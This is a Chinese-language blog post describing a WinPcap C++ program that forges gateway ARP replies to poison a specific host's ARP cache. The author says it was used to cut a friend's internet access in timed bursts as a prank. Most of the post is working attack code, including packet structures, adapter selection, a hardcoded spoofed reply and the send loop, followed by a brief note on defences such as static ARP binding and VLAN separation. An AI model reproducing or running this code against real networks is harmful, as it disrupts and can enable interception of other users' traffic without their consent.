基於Winpcap實現ARP欺騙
阿新 • • 發佈:2018-12-11
事件起因
某小夥伴太熱衷於瀏覽新聞看網頁,常常忘了自己手中的事情,於是做了這個小程式挑逗了一下
實現過程
ARP欺騙有分為2個方向,欺騙閘道器與欺騙被挑逗者,核心為偽造ARP Reply報文,更新目標主機的ARP快取表,我這裡選擇了攻擊被挑逗者,偽造閘道器向被攻擊者發生ARP Reply報文,引發被攻擊主機更新ARP快取表
為了讓對方有一定上網時間,攻擊流程為:
- 設定休眠間隔10-25分鐘
- 持續傳送5分鐘偽造的ARP迴應報文給目標主機,隨機間隔一定秒數發一個包
具體的ARP協議百度上很多,不講了,直接看下程式碼實現
資料結構定義
#pragma pack (1) //乙太網幀頭部結構體,共14位元組 struct EthernetHeader { u_char DestMAC[6]; //目的MAC地址 6位元組 u_char SourMAC[6]; //源MAC地址 6位元組 u_short EthType; //上一層協議型別,如0x0800代表上一層是IP協議,0x0806為arp 2位元組 }; //802.1Q VLAN幀頭部結構體,共18位元組 struct VlanHeader { u_char DestMAC[6]; //目的MAC地址 6位元組 u_char SourMAC[6]; //源MAC地址 6位元組 u_short type; //0x8100 // PRI(3 bit) | CFI(1 bit) | VID(12 bit) // PRI:表示幀的優先順序,取值範圍0~7,值越大優先順序越高 // CFI:值為0代表MAC地址是以太幀的MAC,值為1代表MAC地址是FDDI、 令牌環網的幀 u_short vid; u_short EthType; //上一層協議型別,如0x0800代表上一層是IP協議,0x0806為arp 2位元組 }; //28位元組ARP幀結構 struct Arpheader { unsigned short HardwareType; //硬體型別 unsigned short ProtocolType; //協議型別 unsigned char HardwareAddLen; //硬體地址長度 unsigned char ProtocolAddLen; //協議地址長度 unsigned short OperationField; //操作欄位 unsigned char SourceMacAdd[6]; //源mac地址 unsigned long SourceIpAdd; //源ip地址 unsigned char DestMacAdd[6]; //目的mac地址 unsigned long DestIpAdd; //目的ip地址 }; //arp包結構 struct ArpPacket { EthernetHeader ed; Arpheader ah; }; #pragma pack ()
選擇網絡卡
pcap_if_t* alldevs; //網路介面卡列表 pcap_if_t* d; //選中的介面卡 char errbuf[PCAP_ERRBUF_SIZE]; if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { cout << "pcap_findalldevs_ex fail"; exit(1); } int i = 0; for (d = alldevs; d; d = d->next) { cout << "CARD:" << ++i << endl; cout << "name:" << d->name << endl; cout << "discription:" << d->description << endl; cout << "loopback:" << ((d->flags & PCAP_IF_LOOPBACK) ? "Y" : "N") << endl; pcap_addr_t* a; for (a = d->addresses; a; a = a->next) { cout << "Address Family:" << a->addr->sa_family << endl; switch (a->addr->sa_family) { case AF_INET: cout << "Address Family Name: AF_INET" << endl; if (a->addr) cout << "Address: " << iptos(((sockaddr_in*)(a->addr))->sin_addr.S_un.S_addr) << endl; if (a->netmask) cout << "Netmask: " << iptos(((sockaddr_in*)(a->netmask))->sin_addr.S_un.S_addr) << endl; if (a->broadaddr) cout << "Broadcast Address: " << iptos(((sockaddr_in*)(a->broadaddr))->sin_addr.S_un.S_addr) << endl; if (a->dstaddr) cout << "Destination Address: " << iptos(((sockaddr_in*)(a->dstaddr))->sin_addr.S_un.S_addr) << endl; break; case AF_INET6: cout << "Address Family Name: AF_INET6" << endl; if (a->addr) { ip6tos(a->addr, ip6str, sizeof(ip6str)); cout << "Address: " << ip6str << endl; } break; default: cout << "Address Family Name: Unknown" << endl; break; } } cout << endl; } cout << "Use Which Card: "; int nNetCard; cin >> nNetCard; d = alldevs; for (int i = 1; i < nNetCard; i++) { d = d->next; }
偽造ARP Reply包
EthernetHeader eh; Arpheader ah; u_char sendbuf[1518]; eh.SourMAC[0] = 0x80; eh.SourMAC[1] = 0xc1; eh.SourMAC[2] = 0x6e; eh.SourMAC[3] = 0xdf; eh.SourMAC[4] = 0xad; eh.SourMAC[5] = 0x99; eh.EthType = htons(ETH_ARP); eh.DestMAC[0] = 0x54; eh.DestMAC[1] = 0xbe; eh.DestMAC[2] = 0xf7; eh.DestMAC[3] = 0x33; eh.DestMAC[4] = 0x5c; eh.DestMAC[5] = 0x2e; ah.HardwareType = htons(ARP_HARDWARE); ah.ProtocolType = htons(ETH_IP); ah.HardwareAddLen = 6; ah.ProtocolAddLen = 4; ah.OperationField = htons(ARP_REPLY); ah.SourceMacAdd[0] = 0x80; ah.SourceMacAdd[1] = 0xc1; ah.SourceMacAdd[2] = 0x6e; ah.SourceMacAdd[3] = 0xdf; ah.SourceMacAdd[4] = 0xad; ah.SourceMacAdd[5] = 0x99; ah.SourceIpAdd = inet_addr("192.168.100.1"); ah.DestMacAdd[0] = 0x54; ah.DestMacAdd[1] = 0xbe; ah.DestMacAdd[2] = 0xf7; ah.DestMacAdd[3] = 0x33; ah.DestMacAdd[4] = 0x5c; ah.DestMacAdd[5] = 0x2e; ah.DestIpAdd = inet_addr("192.168.100.6"); memset(sendbuf, 0, sizeof(sendbuf)); memcpy(sendbuf, &eh, sizeof(eh)); memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
開啟網絡卡
pcap_t* pHandle;
char errbuf[PCAP_ERRBUF_SIZE];
if ((pHandle = pcap_open(pParams->pName, 65535, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf)) == NULL)
{
cout << "Fail to open " << pParams->pName << endl;
return -1;
}
發包
if (pcap_sendpacket(pHandle, sendbuf, sizeof(eh) + sizeof(ah)) != 0)
cout << "send packets error, code:" << GetLastError() << endl;
小結
對於劃分了VLAN的不同網路,不在同一個VLAN的主機無法欺騙,因為交換機access埠通常不會合作,攻擊包因為不屬於access埠vlan會直接被丟棄
防範arp欺騙也很容易,直接靜態繫結ARP快取表即可,也可以劃分vlan隔離發起攻擊主機與被攻擊主機